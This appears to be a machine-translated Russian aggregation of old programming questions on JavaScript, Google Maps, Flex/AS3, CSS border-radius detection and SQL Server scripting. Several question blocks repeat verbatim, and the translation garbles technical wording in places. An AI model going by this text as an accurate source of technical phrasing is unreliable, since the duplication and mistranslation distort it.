Когда я хочу отправить эту структуру обратно на сервер, в каком формате я должен ее передать?
Кроме того, при восстановлении сохраненной на сервере формы обратно в мой Javascript builder, должен ли я загружать данные в том же формате, в котором он их отправил, или я должен перестроить поля, используя функции createField() builder?
Google Maps API-проблемы с классом GLatLngBounds
У меня возникли некоторые проблемы с Google Maps API . У меня есть массив, который содержит ojbect, который я создал для хранения точек.
Мой массив и класс:
var tPoints = [];
function tPoint(name) {
var id = name;
var points = [];
var pointsCount = 0;
...
this.getHeadPoint = function() { return points[pointsCount-1]; }
}
tPoint содержит массив из GLatLng точек. Я хочу написать функцию для возврата объекта GLatLngBounds, который расширяется от текущих границ карты, чтобы показать все HeadPoints.
Вот что у меня есть до сих пор..
function getBounds() {
var mBound = map.getBounds();
for (var i = 0; i < tPoints.length; i++) {
alert(mBound.getSouthWest().lat() + "," + mBound.getSouthWest().lng());
alert(mBound.getNorthEast().lat() + "," + mBound.getNorthEast().lng());
currPoint = trackMarkers[i].getHeadPoint();
if (!mBound.containsLatLng(currPoint)) {
mBound.extend(currPoint);
}
}
return mBound;
}
Который возвращает эти значения для предупреждения. (Как правило, над US)
"19.64258,NaN"
"52.69636,NaN"
"i=0"
"19.64258,NaN"
"52.69636,-117.20701"
"i=1"
Я не знаю, почему я получаю NaN обратно. Когда я использую границы, чтобы получить уровень масштабирования, я думаю, что значение NaN вызывает map.getBoundsZoomLevel(bounds), чтобы вернуть 0, что неверно. Я использую GLatLngBounds неправильно?
Будет ли серверная часть JavaScript взлетать? Какая реализация наиболее стабильна?
Кто-нибудь видит, как взлетает сервер JavaScript? Есть несколько реализаций там, но все это кажется немного растянутым (как в, "doing it BECAUSE WE CAN" тип отношения).
Мне любопытно узнать, действительно ли кто-то пишет JavaScript для серверной части и каков их опыт работы с ним на сегодняшний день.
Кроме того, какая реализация обычно считается наиболее стабильной?
Рекомендация для библиотеки проверки формы javascript
Любые рекомендации для библиотеки проверки формы javascript. Я мог бы попробовать свернуть свой собственный (но я не очень хорош в javascript). Необходимо поддерживать проверку обязательных полей, а также желательно регулярное выражение проверки полей.
Mac iWork / Автоматизация Страниц
Существует богатая модель сценариев для Microsoft Office, но не так с Apple iWork, и в частности страниц текстового процессора. Хотя есть некоторые крючки AppleScript, похоже, что лучший подход-это манипулировать базовыми данными XML.
Это оказывается довольно уродливым, потому что (например) разрывы страниц хранятся в XML. Так, например, у вас есть что-то вроде:
... we hold these truths to be self evident, that </page>
<page>all men are created equal, and are ...
Поэтому, если вы хотите добавить или удалить текст, вам нужно переместить начальные/конечные теги в зависимости от размера текста на странице. Это практически невозможно без вычисления количества слов, которое может содержать страница, что кажется дико неэлегантным.
У кого-нибудь есть какие-нибудь мысли по этому поводу?
Рекомендации по синтаксическому анализу AS3 XML
У меня были некоторые проблемы с разбором различных типов XML внутри flash (в частности, FeedBurner RSS файлов и YouTube Data API ответов). Я использую URLLoader для загрузки файла XML, а после Event.COMPLETE создаю новый объект XML. 75% время от времени это работает нормально, и время от времени я получаю этот тип исключения:
TypeError: Error #1085: The element type "link" must be terminated by the matching end-tag "</link>".
Мы думаем, что проблема заключается в том, что XML является большим, и, возможно, событие Event.COMPLETE запускается до того, как XML фактически загружается с URLLoader . Единственное решение, которое мы придумали, - это установить таймер на событие, и по существу "wait a few seconds", прежде чем начать анализировать данные. Конечно, это не может быть лучшим способом сделать это.
Есть ли какой-нибудь верный способ разобрать XML внутри Flash?
Update Sept 2 2008 мы пришли к следующему выводу, что в этот момент в коде срабатывает исключение:
data = new XML(mainXMLLoader.data);
// calculate the total number of entries.
for each (var i in data.channel.item){
_totalEntries++;
}
Я разместил оператор try/catch вокруг этой части и в настоящее время отображаю сообщение об ошибке на экране, когда это происходит. Мой вопрос заключается в том, как неполный файл дойдет до этой точки, если bytesLoaded == bytesTotal ?
Я обновил исходный вопрос с отчетом о состоянии; я предполагаю, что другой вопрос может быть в том, есть ли способ определить, правильно ли проанализирован объект XML перед обращением к данным (в случае ошибки, если мой цикл подсчета количества объектов начинается до того, как XML фактически анализируется в объект)?
@Theo: Спасибо за подсказку ignoreWhitespace. Кроме того, мы определили, что событие вызывается до его готовности (мы провели несколько тестов трассировки mainXMLLoader.bytesLoaded + "/" + mainXMLLoader.bytesLoaded
Лучший способ проверить наличие поддержки -moz-border-radius
Я хотел, чтобы некоторые из этих изящных закругленных углов были использованы для веб-проекта, над которым я сейчас работаю.
Я думал, что попытаюсь сделать это с помощью javascript, а не CSS, чтобы свести запросы к файлам изображений к минимуму (да, я знаю, что можно объединить все необходимые закругленные угловые формы в одно изображение), и я также хотел иметь возможность изменять цвет фона практически на лету.
Я уже использую jQuery, поэтому я посмотрел на отличный плагин с закругленными углами , и он работал как шарм в каждом браузере, который я пробовал. Будучи разработчиком, однако, я заметил возможность сделать его немного более эффективным. Скрипт уже содержит код для определения того, поддерживает ли текущий браузер webkit скругленных угла (браузеры на основе safari). Если это так, то он использует raw CSS вместо создания слоев divs.
Я подумал, что было бы здорово, если бы такая же проверка могла быть выполнена, чтобы увидеть, поддерживает ли браузер специфические для гекконов свойства -moz-border-radius-* и если да, то использовать их.
Проверка поддержки webkit выглядит следующим образом:
var webkitAvailable = false;
try {
webkitAvailable = (document.defaultView.getComputedStyle(this[0], null)['-webkit-border-radius'] != undefined);
}
catch(err) {}
Это, однако, не сработало для -moz-border-radius , поэтому я начал проверять альтернативы.
Моим запасным решением, конечно,является использование обнаружения браузера, но это далеко не рекомендуемая практика.
Мое лучшее решение пока заключается в следующем.
var mozborderAvailable = false;
try {
var o = jQuery('<div>').css('-moz-border-radius', '1px');
mozborderAvailable = $(o).css('-moz-border-radius-topleft') == '1px';
o = null;
} catch(err) {}
Он основан на теории, что геккон "expands" композит -moz-border-radius к четырем под-свойствам
-moz-border-radius-topleft-moz-border-radius-topright-moz-border-radius-bottomleft-moz-border-radius-bottomright
Есть ли какой-нибудь javascript/CSS гуру, у которого есть лучшее решение?
(Запрос функции для этой страницы находится на http://plugins.jquery.com/node/3619 )
Проверка десятичных чисел в JavaScript - IsNumeric()
Каков самый чистый и эффективный способ проверки десятичных чисел в JavaScript?
Бонусные баллы за:
- Ясность. Раствор должен быть чистым и простым.
- Межплатформенный.
Сценарии тестирования:
01. IsNumeric('-1') => true
02. IsNumeric('-1.5') => true
03. IsNumeric('0') => true
04. IsNumeric('0.42') => true
05. IsNumeric('.42') => true
06. IsNumeric('99,999') => false
07. IsNumeric('0x89f') => false
08. IsNumeric('#abcdef') => false
09. IsNumeric('1.2.3') => false
10. IsNumeric('') => false
11. IsNumeric('blah') => false
Как создать сценарии, которые будут перестраивать мою базу данных MS SQL Server 2005 с данными?
У меня есть база данных SQL Server 2005, которую я хотел бы воссоздать в любой момент. Я хочу иметь возможность указать на мою базу данных и создать полный набор скриптов, которые не только создадут все таблицы / представления / sprocs / функции , которые находятся в базе данных, но также будут заполнять все таблицы данными.
Есть ли какие-либо инструменты, которые делают это? Есть ли какие-либо открытые или бесплатные инструменты, которые делают это?
Как получить метку Combobox, чтобы исчезнуть в Flex
У меня есть комбо-бокс, который сидит внутри панели в Flex 3. В основном я хочу, чтобы исчезла панель, используя эффект затухания в ActionScript. Я могу заставить fade работать нормально, однако метка комбо-бокса не исчезает. У меня была такая же проблема с кнопками и обнаружил, что их шрифты должны быть встроены. Не проблема. Я встроил шрифт, который я использовал, и метки кнопок исчезли правильно. Я пробовал аналогичный подход к комбинированному окну, но он не исчезает с выбранной метки элемента.
Вот что я сделал до сих пор: Добавьте код для шрифта в верхней части моего MXML в сценарий:
[Embed("assets/trebuc.ttf", fontName="TrebuchetMS")]
public var trebuchetMSFont:Class;
В моей функции инициализации
//register the font.
Font.registerFont(trebuchetMSFont);
combobox-е mxml:
<mx:ComboBox id="FilterFields" styleName="FilterDropdown"
left="10" right="10" top="10"
fontSize="14">
<mx:itemRenderer>
<mx:Component>
<mx:Label fontSize="10" />
</mx:Component>
</mx:itemRenderer>
</mx:ComboBox>
И стиль, который я написал, чтобы получить шрифты, примененные к комбинированному окну:
.FilterDropdown
{
embedFonts: true;
fontFamily: TrebuchetMS;
fontWeight: normal;
fontSize: 12;
}
Причина, по которой я должен был написать стиль вместо размещения его в атрибуте "FontFamily", заключалась в том, что стиль сделал весь текст в поле со списком правильным шрифтом, где атрибут "FontFamily" только заставил элементы в раскрывающемся списке использовать правильный шрифт.
Инденторы и декораторы пакетного кода
Кто-нибудь знает хорошего пакетный файл инденторов код или beautifiers?
Специально для PHP, JS и SGML-языков.
Предпочтительно с вариантами относительно стиля.
Что я здесь сделал не так? [Javascript Regex]
Поэтому я пишу регистрационную форму, и мне нужно, чтобы отображаемое имя было только цифрами, буквами и подчеркиваниями.
Посмотрите на мой код и скажите мне, что я делаю неправильно.
<form method="post" action="/" onsubmit="return check_form()">
<input type="text" id="display-name" name="display-name" maxlength="255" />
<input type="submit" />
</form>
<script type="text/javascript">
<!--
var name_regex = /^([a-zA-Z0-9_])+/
function check_form()
{
if (!name_regex.test(document.forms[0].elements[0].value))
{
document.forms[0].elements[0].focus()
alert("Your display name may only contain letters, numbers and underscores")
return false
}
}
-->
</script>
Очевидно, что он был обрезан, чтобы не включать ничего, не связанного с проблемой, но даже этот фрагмент не работает.
Как найти ключи a hash?
Я знаю, что в javascript объекты удваиваются как хэши, но мне не удалось найти встроенную функцию для получения ключей
var h = {a:'b',c:'d'};
Я хочу что-то вроде
var k = h.keys() ; // k = ['a','c'];
Это просто написать функцию самостоятельно, чтобы перебирать элементы и добавлять ключи к массиву, который я возвращаю, но есть ли стандартный более чистый способ сделать это?
Я все время чувствую, что это должно быть простая встроенная функция, которую я пропустил, но я не могу ее найти!
Как я могу украсить код JavaScript с помощью командной строки?
Я пишу пакетный скрипт для того, чтобы украсить код JavaScript. Он должен работать как на Windows , так и на Linux .
Как я могу украсить код JavaScript с помощью инструментов командной строки?
454   9   04:54, 3rd August, 2020
JavaScript Порядок Загрузки
Я работаю как с amq.js (ActiveMQ), так и с Google Maps . Я загружаю свои скрипты в таком порядке
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<title>AMQ & Maps Demo</title>
<!-- Stylesheet -->
<link rel="stylesheet" type="text/css" href="style.css"></link>
<!-- Google APIs -->
<script type="text/javascript" src="http://www.google.com/jsapi?key=abcdefg"></script>
<!-- Active MQ -->
<script type="text/javascript" src="amq/amq.js"></script>
<script type="text/javascript">amq.uri='amq';</script>
<!-- Application -->
<script type="text/javascript" src="application.js"></script>
</head>
Однако в моем application.js он загружает карты нормально, но я получаю ошибку при попытке подписаться на тему с AMQ. AMQ зависит от прототипа, который консоль ошибок в Firefox говорит, что объект не определен. Я думаю, что у меня есть проблема с использованием объекта amq до завершения загрузки скрипта. Есть ли способ убедиться, что оба скрипта загружаются, прежде чем я использую их в своем application.js?
У Google есть этот приятный вызов функции google.setOnLoadCallback(initialize); , который отлично работает. Я не уверен, что у amq.js есть что-то подобное.
Лучший способ исправить выпадающее меню CSS/JS в IE7, когда страница включает карту Google
У меня есть страница, использующая списки <ul> для навигации (Javascript изменяет стиль для отображения или нет при наведении курсора мыши).
Это работает нормально для меня, за исключением IE6 и IE7, когда у меня есть карта Google на странице.
В этом случае выпадающий список просто не работает. Однако страница продолжает работать в FireFox 2.
Я провел небольшое исследование и обнаружил, что это может быть примером ошибки IE Select Box , но я не уверен, поскольку карта Google, похоже, использует <div>, а не <iframe> .
Кто-нибудь еще сталкивался с проблемой, подобной этой, и если да, то есть ли у них какие-либо рекомендации по наилучшему способу преодоления этой проблемы?
Есть ли причины не использовать JSONP для AJA~X запросов?
Если вы создаете приложение AJA~Xy , есть ли какие-либо недостатки в использовании запросов/ответов JSONP , даже если вы не планируете использовать запросы cross-domain ?
Единственное, что я могу придумать, это то, что есть пара дополнительных байтов для оболочки обратного вызова...
Редактировать:
Я нашел это , что также предполагает security and error handling в качестве потенциальных проблем...
Там нет обработки ошибок.
script injectionлибо работает, либо нет. Если есть ошибка изinjection, она попадет на страницу, и за исключением обработчика ошибок с широким окном (плохо, плохо, очень плохо), вам нужно убедиться, что возвращаемое значение действительно наserver side.
Я не думаю, что error handling -это большая проблема... большинство из нас будет использовать библиотеку для создания JSON ... правильность моего ответа не является проблемой для этого вопроса.
и безопасность:
В интернете есть документы, которые могут помочь, но в качестве беглой проверки я бы проверил реферер в скрипте
server side.
похоже, что это потенциальная проблема с любым типом ответа... конечно, в сфере безопасности нет ничего уникального для JSONP ...?
Код для ответа на вопрос Да / нет в javascript
Я смог найти только функцию confirm() , которая дает кнопки OK / Cancel. Есть ли какой-нибудь способ дать кнопки Да/нет?
Нажмите на изображение, получите координаты
Я знаю, что это можно сделать, и у меня даже есть смутное представление о том, как это сделать, но оно перестает быть смутным.
У меня есть стандартный тег HTML image с изображением в нем, размером 100 на 100 пикселей. Я хочу, чтобы люди могли щелкнуть по изображению и для этого передать X и Y, которые они нажимают, в функцию.
Координаты должны быть относительно изображения сверху и слева.
Заранее благодарю вас за любую помощь.
Лучший способ сохранить упорядоченный список windows (от самого последнего созданного до самого старого)?
Каков наилучший способ управления списком windows (сохраняя их в порядке), чтобы иметь возможность продвигать следующее окно на верхний уровень, когда текущее окно верхнего уровня закрыто.
Это для веб-приложения, поэтому мы используем jQuery Javascript.
Мы обсудили несколько упрощенных решений, таких как использование массива и просто обработка индекса [0] в качестве самого верхнего окна.
Мне интересно, есть ли потенциально более эффективная или полезная альтернатива тому, что мы провели мозговой штурм.
Mac iWork / Автоматизация Страниц
Существует богатая модель сценариев для Microsoft Office, но не так с Apple iWork, и в частности страниц текстового процессора. Хотя есть некоторые крючки AppleScript, похоже, что лучший подход-это манипулировать базовыми данными XML.
Это оказывается довольно уродливым, потому что (например) разрывы страниц хранятся в XML. Так, например, у вас есть что-то вроде:
... we hold these truths to be self evident, that </page>
<page>all men are created equal, and are ...
Поэтому, если вы хотите добавить или удалить текст, вам нужно переместить начальные/конечные теги в зависимости от размера текста на странице. Это практически невозможно без вычисления количества слов, которое может содержать страница, что кажется дико неэлегантным.
У кого-нибудь есть какие-нибудь мысли по этому поводу?
Рекомендации по синтаксическому анализу AS3 XML
У меня были некоторые проблемы с разбором различных типов XML внутри flash (в частности, FeedBurner RSS файлов и YouTube Data API ответов). Я использую URLLoader для загрузки файла XML, а после Event.COMPLETE создаю новый объект XML. 75% время от времени это работает нормально, и время от времени я получаю этот тип исключения:
TypeError: Error #1085: The element type "link" must be terminated by the matching end-tag "</link>".
Мы думаем, что проблема заключается в том, что XML является большим, и, возможно, событие Event.COMPLETE запускается до того, как XML фактически загружается с URLLoader . Единственное решение, которое мы придумали, - это установить таймер на событие, и по существу "wait a few seconds", прежде чем начать анализировать данные. Конечно, это не может быть лучшим способом сделать это.
Есть ли какой-нибудь верный способ разобрать XML внутри Flash?
Update Sept 2 2008 мы пришли к следующему выводу, что в этот момент в коде срабатывает исключение:
data = new XML(mainXMLLoader.data);
// calculate the total number of entries.
for each (var i in data.channel.item){
_totalEntries++;
}
Я разместил оператор try/catch вокруг этой части и в настоящее время отображаю сообщение об ошибке на экране, когда это происходит. Мой вопрос заключается в том, как неполный файл дойдет до этой точки, если bytesLoaded == bytesTotal ?
Я обновил исходный вопрос с отчетом о состоянии; я предполагаю, что другой вопрос может быть в том, есть ли способ определить, правильно ли проанализирован объект XML перед обращением к данным (в случае ошибки, если мой цикл подсчета количества объектов начинается до того, как XML фактически анализируется в объект)?
@Theo: Спасибо за подсказку ignoreWhitespace. Кроме того, мы определили, что событие вызывается до его готовности (мы провели несколько тестов трассировки mainXMLLoader.bytesLoaded + "/" + mainXMLLoader.bytesLoaded
Лучший способ проверить наличие поддержки -moz-border-radius
Я хотел, чтобы некоторые из этих изящных закругленных углов были использованы для веб-проекта, над которым я сейчас работаю.
Я думал, что попытаюсь сделать это с помощью javascript, а не CSS, чтобы свести запросы к файлам изображений к минимуму (да, я знаю, что можно объединить все необходимые закругленные угловые формы в одно изображение), и я также хотел иметь возможность изменять цвет фона практически на лету.
Я уже использую jQuery, поэтому я посмотрел на отличный плагин с закругленными углами , и он работал как шарм в каждом браузере, который я пробовал. Будучи разработчиком, однако, я заметил возможность сделать его немного более эффективным. Скрипт уже содержит код для определения того, поддерживает ли текущий браузер webkit скругленных угла (браузеры на основе safari). Если это так, то он использует raw CSS вместо создания слоев divs.
Я подумал, что было бы здорово, если бы такая же проверка могла быть выполнена, чтобы увидеть, поддерживает ли браузер специфические для гекконов свойства -moz-border-radius-* и если да, то использовать их.
Проверка поддержки webkit выглядит следующим образом:
var webkitAvailable = false;
try {
webkitAvailable = (document.defaultView.getComputedStyle(this[0], null)['-webkit-border-radius'] != undefined);
}
catch(err) {}
Это, однако, не сработало для -moz-border-radius , поэтому я начал проверять альтернативы.
Моим запасным решением, конечно,является использование обнаружения браузера, но это далеко не рекомендуемая практика.
Мое лучшее решение пока заключается в следующем.
var mozborderAvailable = false;
try {
var o = jQuery('<div>').css('-moz-border-radius', '1px');
mozborderAvailable = $(o).css('-moz-border-radius-topleft') == '1px';
o = null;
} catch(err) {}
Он основан на теории, что геккон "expands" композит -moz-border-radius к четырем под-свойствам
-moz-border-radius-topleft-moz-border-radius-topright-moz-border-radius-bottomleft-moz-border-radius-bottomright
Есть ли какой-нибудь javascript/CSS гуру, у которого есть лучшее решение?
(Запрос функции для этой страницы находится на http://plugins.jquery.com/node/3619 )
Проверка десятичных чисел в JavaScript - IsNumeric()
Каков самый чистый и эффективный способ проверки десятичных чисел в JavaScript?
Бонусные баллы за:
- Ясность. Раствор должен быть чистым и простым.
- Межплатформенный.
Сценарии тестирования:
01. IsNumeric('-1') => true
02. IsNumeric('-1.5') => true
03. IsNumeric('0') => true
04. IsNumeric('0.42') => true
05. IsNumeric('.42') => true
06. IsNumeric('99,999') => false
07. IsNumeric('0x89f') => false
08. IsNumeric('#abcdef') => false
09. IsNumeric('1.2.3') => false
10. IsNumeric('') => false
11. IsNumeric('blah') => false
Как создать сценарии, которые будут перестраивать мою базу данных MS SQL Server 2005 с данными?
У меня есть база данных SQL Server 2005, которую я хотел бы воссоздать в любой момент. Я хочу иметь возможность указать на мою базу данных и создать полный набор скриптов, которые не только создадут все таблицы / представления / sprocs / функции , которые находятся в базе данных, но также будут заполнять все таблицы данными.
Есть ли какие-либо инструменты, которые делают это? Есть ли какие-либо открытые или бесплатные инструменты, которые делают это?
Почему 'shell' не работает в VBscript в VS6?
В макросе для Visual Studio 6 я хотел запустить внешнюю программу, поэтому я набрал:
shell("p4 open " + ActiveDocument.FullName)
Что дало мне ошибку времени выполнения несоответствия типов. То, что мне пришлось напечатать, было следующим:
Dim wshShell
Set wshShell = CreateObject("WScript.Shell")
strResult = wshShell.Run("p4 open " + ActiveDocument.FullName)
Что здесь происходит? Действительно ли эта чепуха необходима или я что-то упустил?
JavaScript профилировщик в IE
Кто-нибудь знает инструмент для профилирования JavaScript в IE?
Список доступных:
- IE8 (только для Интернета Explorer 8)
- JavaScript профилировщик
- YUI!
Это OK, чтобы отбросить статистику sql?
Мы пытались изменить множество столбцов с nullable на not nullable, что включает в себя удаление всех связанных объектов, внесение изменений и воссоздание связанных объектов.
Мы использовали SQL Compare для создания сценариев,но я заметил, что SQL Compare не создает статистические объекты. Означает ли это, что его можно отбросить, и база данных будет работать так же хорошо, как и раньше без них, или Red Gate пропустил трюк?
Выполнение JavaScript из Flex: эта функция javascript опасна?
У меня есть приложение flex, которое нуждается в возможности генерировать и выполнять JavaScript. Когда я говорю это, я имею в виду, что мне нужно выполнить raw JavaScript, который я создаю в своем приложении Flex (а не только существующий метод JavaScript)
В настоящее время я делаю это, раскрывая следующий метод JavaScript:
function doScript(js){ eval(js);}
Затем я могу сделать что-то подобное в Flex (примечание: Я делаю что-то более существенное, чем окно предупреждения в реальном приложении Flex):
ExternalInterface.call("doScript","alert('foo'));
Мой вопрос заключается в том, накладывает ли это какой-либо риск безопасности, я предполагаю, что это не так, поскольку Flex и JasvaScript все работают на стороне клиента...
Есть ли лучший способ сделать это?
VBScript/IIS - как автоматически установить версию ASP.NET для конкретного веб-сайта
Мне нужно написать сценарий создания пулов приложений и веб-сайтов на IIS 6.0. Я смог создать их с помощью adsutil.vbs и iisweb.vbs, но не знаю, как установить версию ASP.NET для сайтов, которые я только что создал, в 2.0.50727.0.
В идеале я хотел бы adsutil.vbs обновить метабазу. Как мне это сделать?
Инструменты FOSS для разработки Flash
Я изучаю некоторые разработки для Flash. Нужно ли мне покупать дорогие коммерческие инструменты или есть какие-то инструменты FOSS, с которыми я могу начать работу? Очевидно, что есть много инструментов там, но они достаточно хороши, чтобы на самом деле получить работу? Что бы я пропустил, избегая коммерческих или официальных инструментов?
Динамическая загрузка файла JavaScript
Как можно надежно и динамически загрузить файл JavaScript? Это будет использоваться для реализации модуля или компонента, который при 'initialized' компонент будет динамически загружать все необходимые сценарии библиотеки JavaScript по требованию.
Клиент, использующий компонент, не обязан загружать все файлы сценариев библиотеки (и вручную вставлять теги <script> на их веб-страницу), реализующие этот компонент - только файл сценария компонента 'main'.
Как сделать это в обычных библиотеках JavaScript (прототип, jQuery и т. д.)? Объединяют ли эти инструменты несколько файлов JavaScript в одну распространяемую версию файла сценария 'build'? Или они делают какую-либо динамическую загрузку вспомогательных скриптов 'library'?
Дополнение к этому вопросу: есть ли способ обработать событие после загрузки динамически включаемого файла JavaScript? Прототип имеет document.observe для событий всего документа. Пример:
document.observe("dom:loaded", function() {
// initially hide all containers for tab content
$$('div.tabcontent').invoke('hide');
});
Каковы доступные события для элемента сценария?
Пакетный файл для "Script" базы данных
Можно ли как-то использовать .bat -файл для сценария схемы и / или содержимого базы данных сервера SQL?
Я могу сделать это с помощью мастера, но хотел бы упростить создание этого файла для целей управления версиями.
Я хотел бы избежать использования сторонних инструментов, просто ограничивая себя инструментами, которые поставляются с сервером SQL.
434   1   15:09, 7th August, 2020
В SQL Server, как я могу создать инструкцию CREATE TABLE для данной таблицы?
Я потратил много времени на то, чтобы найти решение этой проблемы , поэтому в духе этого поста я публикую его здесь, поскольку я думаю, что это может быть полезно для других.
Если у кого-то есть лучший сценарий или что-то добавить, пожалуйста, опубликуйте его.
Edit: Да, ребята, я знаю, как это сделать в Management Studio, но мне нужно было иметь возможность сделать это из другого приложения.
Adobe AIR: обработка объектов JSON с сервера
У меня есть скрипт, который извлекает объекты с удаленного сервера через вызов Ajax. Сервер возвращает объекты в нотации JSON.
Однако, в Adobe AIR, существует ограничение на использование eval() по соображениям безопасности. Поэтому я могу получать ответы с удаленного сервера, но не могу превратить их обратно в объекты JavaScript. Есть ли обходной путь для этой проблемы? Я хотел бы использовать JSON для моих JavaScript объектов, так как он может быть использован почти сразу.
Примечание: Я понимаю последствия безопасности для форсирования проблемы, но я буду делать быструю разработку приложений для конкуренции, поэтому программа будет только быстрым прототипом и не будет использоваться для производственных целей. Тем не менее, было бы здорово, если бы была лучшая альтернатива тому, что я пытаюсь сделать сейчас
Обновление:
Спасибо Тео и jsight за их ответы;
Одна важная вещь, которую я узнал сегодня, заключается в том, что я действительно могу использовать библиотеки ActionScript, используя
<script src="lib/myClasses.swf" type="application/x-shockwave-flash"></script>тег расширен на Adobe AIR. Проверьте ссылку Тео для получения более подробной информации!
Каковы правила для именования классов AS3?
Я пытаюсь написать RegEx для генератора кода (в C#), чтобы определить правильный класс или имя пакета класса AS3.
Я знаю эти названия классов
- должно начинаться с буквы (заглавной или иначе)
- любая другая цифра может быть буквенно-цифровой
- не может иметь пробелов
Есть еще что-нибудь?
XmlHttpRequest возвращаемые значения
Я ищу (возможно) правильный способ возврата данных из XmlHttpRequest . Варианты, которые я вижу, являются:
Обычная HTML . Пусть запрос форматирует данные и возвращает их в удобном формате.
Преимущество: легко потребляется на странице вызова.
Недостаток: очень жесткий, застревает с фиксированной компоновкой.XML . Пусть запрос возвращает XML, отформатируйте его с помощью XSLT на странице вызова.
Преимущество: запрашиваемая услуга легко потребляется другими источниками.
Недостаток: достаточно ли хороша поддержка браузера для XSLT?JSON . Пусть запрос возвращает JSON, потребляет его с помощью javascript, рендерит HTML соответственно.
Преимущество: легче 'OO-ify' javascript делает запрос.
Недостаток: вероятно, не так прост в использовании, как предыдущие два варианта.
Я также думал о том, чтобы перейти к варианту один, абстрагируя логику представления в вызываемом сервисе таким образом, чтобы переключение между различными макетами было бы тривиальным. Лично я считаю, что этот вариант является лучшим из трех, по соображениям совместимости.
Печатая это, я получил еще одно озарение. Было бы неплохо разрешить все три формата ответа на основе параметра, добавленного к запросу?
Добавление встроенной функции поиска на веб-страницу
Можно ли встроить встроенное окно поиска в веб-страницу, которая обеспечивает аналогичную функциональность для встроенного поиска IE7Pro или аналогичных плагинов для Firefox/Safari?
jQuery AJAX против UpdatePanel
У нас есть страница с тонной jQuery (примерно 2000 строк), которую мы хотим обрезать b/c это кошмар обслуживания, и его может быть проще поддерживать на сервере. Мы подумали о том, чтобы использовать для этого UpdatePanel. Однако нам не нравится тот факт, что UpdatePanel отправляет всю страницу обратно на сервер.
Есть ли какой-то способ показать содержимое HTML внутри Flash?
Я хочу показать содержимое HTML внутри Flash. Есть ли какой-то способ сделать это? Я говорю о полномасштабном HTML (с JavaScript, если это возможно).
Как обеспечить пространства имен в JavaScript экземплярами объектов
У меня есть JavaScript "object", построенный таким образом:
function foo()
{
this.length = 0;
}
foo.prototype.getLength = function()
{
return this.length;
}
...
Я знаю, как эмулировать пространства имен с объектами singleton JavaScript, но как лучше всего использовать объект "namepace", такой как выше, который будет intanced?
Я знаю, что несколько библиотек JavaScript имеют возможности размещения имен, но я использую jQuery и предпочел бы не добавлять еще одну библиотеку в микс. Я хотел бы иметь возможность предоставить свою собственную, возможно, используя jQuery, внутреннюю схему пространства имен для JS моих объектов,которые должны быть созданы.
Спасибо армированный пластик
Предложения по Ajax среде разработки для PHP
Я программист C/C++ профессионально, но я создал несколько личных веб-сайтов, используя PHP and MySQL .
Они довольно просты , и я хотел бы оживить их с помощью Ajax, но я никогда не делал никакого Ajax. Я сделал все разработки до сих пор вручную, т. е. нет IDE или что-то в этом роде.
Есть ли у кого-нибудь предложения по Ajax средам разработки, которые могут мне помочь?
Shareware или freeware были бы предпочтительнее, поскольку мне было бы трудно оправдать расходы на это больше, чем минимальная сумма денег...
Какова цель (если таковая имеется) "javascript:" в тегах обработчика событий?
В последнее время я прилагаю согласованные усилия, чтобы улучшить свои навыки javascript, читая как можно больше кода javascript. При этом я иногда видел префикс javascript: , добавляемый к передней части атрибутов обработчика событий в тегах элементов HTML. Какова цель этой приставки? В принципе, есть ли заметная разница между:
onchange="javascript: myFunction(this)"
и
onchange="myFunction(this)"
?
Создать EXE из SWF, используя Flex 3, не требуя AIR?
У меня есть простое небольшое тестовое приложение, написанное на Flex 3 (MXML и некоторые AS3). Я могу скомпилировать его в SWF просто отлично, но я хотел бы сделать его в EXE, чтобы я мог дать его нескольким моим коллегам, которые могут найти его полезным.
С Flash 8 я мог бы просто нацелить EXE вместо SWF, и это обернуло бы SWF в проектор, и все работало нормально. Есть ли эквивалент этому, используя Flex 3 SDK, который в конечном итоге не требует AIR?
Примечание: у меня нет Flex Builder, я просто использую бесплатный Flex 3 SDK.
Компонент flvplayback проблемы с памятью
Мой сайт полностью основан на flash, он перемещается вокруг модели 3D, которая была предоставлена мне в виде фрагментов видео, которые я преобразовал в файлы FLV. Я использую компонент FLVPlayback для управления видео внутри моей программы. При выполнении проверок памяти с помощью System.totalMemory я заметил, что всякий раз, когда загружается видео, оно съедает кусок памяти, и даже когда я удаляю из него все прослушиватели событий(все они слабо связаны), удаляю компонент из его родительского элемента, останавливаю видео и null экземпляр компонента, он все равно не вернет эту память.
Это беспокоило меня с тех пор, как я начал работать над этим проектом из-за огромного количества видео, которое пользователь может потенциально создать и загрузить. В настоящее время каждое видео загружается в новый экземпляр FLVPlayback всякий раз, когда это требуется, но я прочитал, что, возможно, лучший способ решить эту проблему-просто иметь глобальный экземпляр FLVPlayback и просто перезагрузить новое видео в старый экземпляр, таким образом, в памяти приложения будет только один компонент FLVPlayback.
Кто-нибудь еще столкнулся с этой проблемой? Вы нашли лучшее решение, чем использование глобального экземпляра, который вы просто повторно используете для каждого нового видео?
Что Javascript rich text editor не сломает проверку орфографии браузера?
Я использую TinyMCE в проекте ASP.Net, и мне нужна проверка орфографии. Единственные Плагины TinyMCE, которые я нашел, используют PHP на стороне сервера, и я думаю, что я мог бы просто сломать и установить PHP на моем сервере и сделать это, но, честно говоря, какая боль. Я не хочу этого делать.
Как оказалось, встроенная проверка орфографии Firefox будет отлично работать для меня, но она, похоже, не работает в редакторах TinyMCE. Я включил опцию gecko_spellcheck, которая должна исправить это, но это не так.
Кто-нибудь знает о хорошем текстовом редакторе, который не нарушает проверку орфографии браузера?
Проблема С Кнопкой Safari Назад
Я занимаюсь небольшим программированием и веб-работой для местного общественного колледжа. Работа, которая включает в себя поддержание очень большого и душераздирающего веб-сайта, который состоит из Ходж-поджа VBScript, javascript, Dreamweaver, сгенерированного cruft и коллекции дополнений, которые различные мошенники убедили их купить на протяжении многих лет.
Несколько дней назад мне позвонили "The website is locking up for people using Safari!" хорошо, Шаг первый скачать Safari (v3.1.2), Шаг второй серфинг на сайт. Кажется, все работает нормально.
Короче говоря, я наконец-то вычленил проблему, и она относится к кнопке возврата Safari. На сайте используется меню fancy-pants javascript, которое работает в каждом браузере, который я пробовал, включая Safari, в первый раз. Но в Safari, если вы перейдете по ссылке со страницы, а затем нажмете кнопку Назад, Меню больше не работает.
Я сделал сокращенную веб-страницу, чтобы проиллюстрировать этот принцип.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head><title>Safari Back Button Test</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
